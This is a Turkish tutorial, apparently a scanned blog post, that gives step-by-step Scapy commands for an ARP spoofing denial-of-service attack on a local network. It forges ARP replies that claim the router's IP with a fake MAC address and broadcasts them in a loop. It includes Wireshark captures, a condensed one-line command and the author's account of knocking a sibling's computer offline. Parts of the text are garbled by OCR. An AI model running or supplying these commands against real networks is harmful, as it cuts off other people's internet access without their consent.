Local Area Network DOS
(+) Bu yazi birebir denenmistir ve basariyla uygulanmigtir.

Yerel agdaki tiim cihazlara gateway'in MAC adresi hatali olarak bildirilirse tiim cihazlar gateway'e
paket gonderiyorum derken bagka bir yere paket gondereceginden internet erisimleri kopartilmis
olacaktir. Ancak bu sikinti sonrasi cihazlar arp broadcast yaparak gateway'i tekrar bulacaklardir ve
internet baglantilarin1 onaracaklardir. Bu nedenle yerel agdaki cihazlara génderilecek arp paketleri
bir kez degil, siirekli gonderilmelidir. Olugturdugumuz sahte ARP paketleri ile yerel agda siirekli
arp broadcast yaparak cihazlarin internet baglantilarim biz kopaririken onlar onaracaktir. Eger
gonderdigimiz arp paketlerini yeterince hizli gonderebilirsek tiim cihazlarin internet baglantisi
tamamen kopabilmis olacaktir. Béylece Local Area Network DOS saldirisi gerceklesmis olacaktir.

Yerel agda dos islemini scapy tool'u ile yapacagiz. Bunun i¢in sirasiyla asagidaki kodlar girilir:

> sudo su

> scapy

>>> arpPacket=ARP()

>>> arpPacket.show() // ARP paketinin parametrelerini (header'larini) siralar.

Output:
hwtype= 0x1
ptype= 0x800
hwlen= 6
plen= 4
op= who-has
hwsrc= 48:5d:60:38:0a:ff
psrc= 192.168.0.12
hwdst= 00:00:00:00:00:00
pdst=0.0.0.0

Simdi yapmamiz gereken sey gonderecegimiz ARP paketinde kendi IP'mizi router IP'si olarak
gostermektir. Gonderecegimiz ARP paketini alan cihaz ARP paketinde router'in IP'sini goriince
paketin router'dan geldigini sanacaktir ve paketteki MAC adresini referans alacaktir. Ondan sonra
kurban o MAC adresine internet paketlerini yollayacagindan paketleri heba olacaktir ve internet
erisimi akamete ugrayacaktir. Simdi bu bilgiler 1s181nda saldir1 paketimizi hazirlayalim:

>>> arpPacket.psrc="192.168.0.1"
>>> arpPacket.pdst="192.168.0.255"

Yukaridaki iki kod ile demis oluyoruz ki tiim cihazlara IP'min 192.168.0.1 oldugunu séyle. Bu IP'yi
goren cihazlar hemen gonderdigimiz arp paketindeki depolu MAC adresine bakacaklardir. Simdi
gonderecegimiz pakete source MAC adresini koyalim:

>>> arpPacket.hwsrc="01:02:03:04:05:06"
>>> arpPacket.hwdst="ff.ff:ff:ff: ff:ff"

Koydugumuz source MAC adresi ile gonderecegimiz arp paketini alan yerel agdaki cihazlar
router'ln MAC adresinin 01:02:03:04:05:06 oldugunu sanacaklar. Artik paketimiz hazir, fakat son
bir dokunus kaldi. O da gonderecegimiz arp paketinin tiiriinii belirtmektir. Okudugun Uygulamalar
ile TCP/IP ve Ag Giivenligi adl kitabin 63. sayfasinda gorebilecegin {izere arp paketleri su tiirlerden
olusmaktaymus:



opcode Operasyon Tiird
ARP Istek (Request)
ARP Yanit (Reply)
RARP Istek (Request)
RARP Yanit (Reply)
DRARP Istek (Request)
DRARP Yanit (Reply)
DRARP Hata (Error)
InARP istek (Request)
InARP Response (Reply)
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Bir arp request olmadan biz direk ARP Reply paketi gonderirsek paketi alan cihazlar oldu bittiye
gelip paketi kabul edeceklerdir ve amacimiza vakif olmus olacagiz. O yiizden opcode'u paketimizde
2 olarak belirtelim:

>>> arpPacket.op=2
Artik paketi yerel aga yayabiliriz, fakat biz istiyoruz ki bu génderecegimiz paket bir defa broadcast
olmasin. Siirekli broadcast olsun. iste bu yiizden scapy'nin loop parametresini kullanacagiz. Loop
parametresini kullanmadan olusturdugumuz arp paketini génderme kodu su sekildeyken

>>> send(arpPacket)
loop kullanarak olusturdugumuz arp paketini génderme kodu ise su sekildedir:

>>> send(arpPacket, loop=1000)
Eger yukaridaki loop'a takili kodun olusturdugumuz paketleri tekrar tekrar broadcast yapisini
gormek istersen yukaridaki kodu calistirmadan 6nce wireshark' ¢alistirabilirsin. Wireshark't

calistirdiginda ve ardindan send(arpPacket, loop=1000) dediginde asagidaki gibi bir ¢ikt1 seni
kargilayacaktir:
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No. Time source Destination Protocol Lengtt Info
4/U/8 Dbb1.30DH/ 1Y AZUrEwWaV 38:0a:TT Broaacast ARF 42 192.106.9.1 1S AT ¥1:0Z2:03:094:05:00
47079 5661.3897876 Azurewav_38:0a:ff Broadcast ARP 42 192.168.0.1 is at ©1:02:03:04:05:086
47080 5661.4177800 Azurewav_38:0a:ff Broadcast ARP 42 192.168.0.1 is at ©1:02:03:04:05:06
47081 5661.4422490 Azurewav_38:0a:ff Broadcast ARP 42 192.168.0.1 is at 01:02:03:04:05:06
47082 5661.45794260 Azurewav_38:0a:ff Broadcast ARP 42 192.168.0.1 is at ©1:02:03:04:05:086
47083 5661.4777540 Azurewav_38:0a:ff Broadcast ARP 42 192.168.0.1 is at ©1:02:03:04:05:06
47084 5661.5017380 Azurewav_38:0a:ff Broadcast ARP 42 192.168.0.1 1s at ©1:02:03:04:05:06
47085 5661.52973760 Azurewav_38:0a:ff Broadcast ARP 42 192.168.0.1 is at ©1:02:03:04:05:06
47086 5661.5500980 Azurewav_38:0a:ff Broadcast ARP 42 192.168.0.1 is at ©1:02:03:04:05:086
47087 5661.5738150 Azurewav_38:0a:ff Broadcast ARP 42 192.168.0.1 is at ©1:02:03:04:05:06
47088 5661.59770760 Azurewav_38:0a:ff Broadcast ARP 42 192.168.0.1 is at ©1:02:03:04:05:06
47089 5661.6177908 Azurewav_38:0a:ff Broadcast ARP 42 192.168.0.1 is at ©1:02:03:04:05:086
47090 5661.6378740 Azurewav_38:0a:ff Broadcast ARP 42 192.168.0.1 is at ©1:02:03:04:05:06
47091 5661.6537000 Azurewav_38:0a:ff Broadcast ARP 42 192.168.0.1 is at ©1:02:03:04:05:06
47092 5661.6737126 Azurewav_38:0a:ff Broadcast ARP 42 192.168.0.1 is at ©1:02:03:04:05:086
47093 5661.6937500 Azurewav_38:0a:ff Broadcast ARP 42 192.168.0.1 is at ©1:02:03:04:05:06

P OUUTLE. AZUIEWAY D0.Ua. 11 [¥0.3U. 00, 30.ua. 11

Type: ARP (0x8306)

Hardware type: Ethernet (1)

Protocol type: IP (6x0880)

Hardware size: 6

Protocol size: 4

Opcode: reply (2)

Sender MAC address: Woonsang 04:05:06 (81:02:03:04:05:06)
Sender IP address: 192.168.0.1 (192.168.0.1)
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Wireshark'ta sirali paketlerin info kolonundan gorebilecegin iizere 192.168.0.1 nolu IP adresinin
01:02:03:04:05:06 nolu MAC adresine ait oldugunu biz broadcast'liyormusuz. Yani router'in MAC
adresi 01:02:03:04:05:06 diye bir zehirleme islemi yapiyormusuz. Belirtigimiz numara router'in
MAC adresi olmadigi icin de yerel agdaki tiim cihazlar olmayan bir MAC'e paketlerini
gonderdiklerinden internet baglantilar1 kopmus olacaktir.

Wireshark'ta dikkat etmen gereken ikinci husus ekrana diisen ARP paket kayitlarinin her satirda
ayni olmasi. Bunun nedeni hazirladigimiz sahte ARP paketini loop ile defalarca kez génderiyor
olusumuzdandir. Yani DOS yapiyoruz. Bir yandan cihazlar internet baglantilarin1 onarirken bir
yandan biz bozuyoruz. Zamanla yarisiyoruz. Ne kadar sik paket gonderebilirsek o kadar DOS
amacina ulasacaktir.

SONUC

Su ana kadar yaptigimiz sey sundan ibaretti: Bir tane ARP paketi olusturduk. Normalde bu paket
otomatik olusturulsaydi paketin source IP kismina kendi IP'miz konurdu. Ama biz paketi elle
olusturuyor oldugumuz icin router'in IP'sini koyabildik. Boyle yaparak bu olusturdugumuz ARP
paketini sanki router'dan geliyormus gibi yapmis olduk. Ardindan paketin igerisine MAC adresi
olarak herhangi bir adres verdik. Boylece arp paketinin router'dan geldigini sanan alicilar gelen
MAC adresini de router''n MAC adresi sanacaklar. Aldiklar1 MAC adresini arp tablolarina
kaydetmis olacaklar ve internet paketi gondermek istediklerinde ise paketlerini router'a
gonderiyorum derken bizim belirttigimiz sahte MAC adresine génderecekler. Boylece internete
cikis yapamayacaklar.

Bu saldiriy1 evimdeki yerel agda baslattigimda kardegimin bilgisayarinin internet baglantisinin
tamamen koptugunu gérmiis bulunmaktayim. Hicbir siteye giris yapamadi. Ancak DOS saldirisinda
bulundugum kendi makinamda internet baglantisinin tamamen kopmasi yerine sadece sekteye
ugradigin fark ettim. Saldir1 yaptigim makinamdaki web tarayicim ile internet sayfas1 agmaya
calistigimda tarayicinin Resolving Host, Connecting gibi durumlara diistiigiinii ve ama nihayetinde
gec de olsa sayfalara ulastigin1 gézlemledim. Belki de bunun nedeni makinamin linux kullaniyor
olmasindandir. Linux belki de Windows'a gore daha hizli onarici ARP paketleri gonderebildiginden
DOS saldirisinin iistesinden gelmis olabilir. Ciinkii Windows linux'a gore biraz hantal bir isletim



sistemi. Arkaplaninda ¢alisan ¢ok process'i var. Linux'ta ise o kadar yok.
OZET

> sudo su

> scapy

>>> arpPacket=ARP()

>>> arpPacket.show() // ARP paketinin parametrelerini (header'larini) siralar.

>>> arpPacket.psrc="192.168.0.1"

>>> arpPacket.pdst="192.168.0.255"

>>> arpPacket.hwsrc="01:02:03:04:05:06"

>>> arpPacket.hwdst="ff:ff:ff:ff.ff.ff"

>>> send(arpPacket, loop=1000)

KISACA
> sudo su
> scapy
>>> send(ARP(op=2,hwsrc="48:5d:60:38:0a:ff" hwdst="ff:ff.ff: ff.ff:ff" psrc="192.168.0.1",
pdst="192.168.0.255"), loop=1000)

NOT
Poison packet : (fake MAC, Router's IP)

NOT 2
Yerel agda yaptigimiz bu DOS ataginin spesifik ismi ARP Flooding'tir. Tipki SYN Flood'un
DOS atagi olmasi gibi ARP Flooding de bir DOS atagidir.

Kaynak
http://jamesdotcom.com/?p=161

http://www.trendmicro.com/vinfo/us/threat-encyclopedia/archive/security-advisories/arp
%20flooding%20attack



